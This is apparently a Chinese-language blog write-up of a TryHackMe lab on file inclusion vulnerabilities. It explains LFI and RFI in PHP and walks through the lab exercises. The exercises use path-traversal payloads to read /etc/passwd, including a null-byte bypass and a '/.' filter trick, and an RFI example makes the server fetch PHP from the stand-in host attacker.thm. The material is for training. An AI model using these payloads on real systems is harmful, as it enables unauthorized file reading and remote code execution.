【TryHackMe】JPT-文件包含

什么是文件包含?

文件包含(File Inclusion)是一种 Web 漏洞,攻击者通过 URL 参数让网站"读取并显示"服务器上不该被访问的文件(比如密码配置、系统文件),甚至执行恶意代码。

【例子】

  • 正常请求: http://example.com/view.php?file=about.txt → 显示 about.txt
  • 有漏洞时:攻击者改成: http://example.com/view.php?file=../../../etc/passwd
    网站错误地读取了 Linux 系统的用户文件 /etc/passwd导致敏感信息泄露

【两种类型】

  • LFI(本地文件包含) : 读取服务器本地的文件(如配置文件、日志、密码等)。
  • RFI(远程文件包含) :让服务器去加载黑客控制的外部网址上的恶意代码(更危险,可能直接接管服务器)。

【产生原因】

  • 文件包含漏洞常见于各种编程语言中,如 PHP 等,这些语言编写和实现都很差。
  • 这些漏洞的主要问题在于输入验证,即用户输入未被净化或验证用户控制其内容
  • 当输入未被验证时,用户可以将任意输入传递给函数,从而引发漏洞。

比如 PHP 里写了:include( $ _GET['file']),将file参数作文路径直接读取

本地文件包含

【定义】

LFI 攻击通常是由于开发者缺乏安全意识所致。使用 PHP 时,使用 include、require、include_once 和 require_once 等函数,往往会增加网络应用的脆弱性,使得攻击者有机会偷窥服务器本地文件

【include( )为例的漏洞】

include() 是 PHP 的一个语句,用于将另一个文件的内容插入到当前脚本中。

  • 如果 EN.php 的内容是:

    css 复制代码
    <h1>Welcome in English!</h1>

    那么访问 index.php?lang=EN.php 时,浏览器就会看到:

    css 复制代码
    <h1>Welcome in English!</h1>
  • 如果 EN.php 包含 PHP 代码,比如:

    php 复制代码
    <?php echo "Hello, user!"; ?>

    PHP 代码会被执行,浏览器会看到输出

🔍 补充说明:PHP 在解析 include("xxx") 时,会按以下顺序查找文件:

  1. 如果路径是绝对路径 (如 /etc/passwd/var/www/langs/EN.php)→ 直接从根目录开始找。
  2. 如果是相对路径 (如 EN.phplangs/EN.php)→ 从 当前脚本所在目录 开始找。

【实践1】

1、输入1,发现Warning中会有inlude(1)的后端代码

2、 输入/ect/passwd,利用include漏洞读取服务器的本地文件

【实验2】

1、输入test实验,发现include规定访问includes文件夹下的文件

2、使用目录穿透,在url参数中使用 ../../../../etc/passwd,穿透inludes文件到达根目录

【实验3】

1、输入test,发现调用inclue(includs/test.php)

2、可以使用../../../../etc/passwd%00,这样可以忽略空字节%00以后得部分,从而防止.php后缀的拼接

【实验4】

1、我们输入etc/passwd,发现开发者不允许访问指定目录

2、使用etc/passwd/.,加/.是用来访问当前目录,用来绕过

【实验6】

1、发现只允许从特定文件夹THM-profile来进行访问

2、用THM-profile开头,通过目录穿透,来跳出,进而访问/etc/passwd

远程文件包含

【定义】

  • 与 LFI 类似,RFI 发生在用户输入被不当净化时,使攻击者能够将外部 URL 注入到 include 函数中。RFI 的一个要求是 allow_url_fopen 选项必须开启 。
  • RFI 的风险高于 LFI,因为 RFI 漏洞允许攻击者在服务器上获得远程命令执行权限,可以在服务器上执行自定义的命令

【例子】

攻击者在自己的服务器上托管一个 PHP 文件 http://attacker.thm/cmd.txt,其中 cmd.txt 包含打印消息 Hello THM。

php 复制代码
<?PHP echo "Hello THM"; ?>

攻击者注入恶意的URL http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt这样就能诱导服务器访问自己的节点并执行代码

✅ 可以用python -m http.server将本机启动为服务器,并新建php文件,并进行实验,诱导目标服务器执行本机新建的php

相关推荐
qq 13740186118 分钟前
ISTA 2A-2011 (2022) 全解析|≤68kg 单个包装件部分模拟运输测试标准
网络·安全·安全性测试·ista·运输测试·运输包装
IT大白鼠17 分钟前
Stuxnet病毒:改写战争形态的网络武器革命
安全·震网病毒
财迅通Ai1 小时前
开拓药业KX-826:安全疗效构筑壁垒,机制互补卡位脱发新药黄金赛道
安全·开拓药业
一起聊电气1 小时前
智能断路器:守护智能照明系统的AI电气安全闸门
网络·人工智能·安全
cd_949217212 小时前
邮件安全联防预警平台“网哨M01”:全面联防对抗社工钓鱼攻击
网络·安全·web安全
德迅云安全-小潘2 小时前
了解并防范跨站脚本攻击,XSS攻击全解析,德迅云安全SCDN提供全方位的安全
网络·安全·xss
CTO Plus技术服务中3 小时前
企业智能安全运营中心AISOC
安全
xian_wwq3 小时前
【学习笔记】“网络空间安全≠网络安全”——ISO SC27标准组十四年仍在求解的不等式
笔记·学习·安全
@insist1235 小时前
信息安全工程师-工控安全核心知识体系(基础篇)
网络·安全·软考·信息安全工程师·软件水平考试
恒星科通5 小时前
景区应急广播指挥系统:应急预警一键全覆盖,为景区安全保驾护航!
安全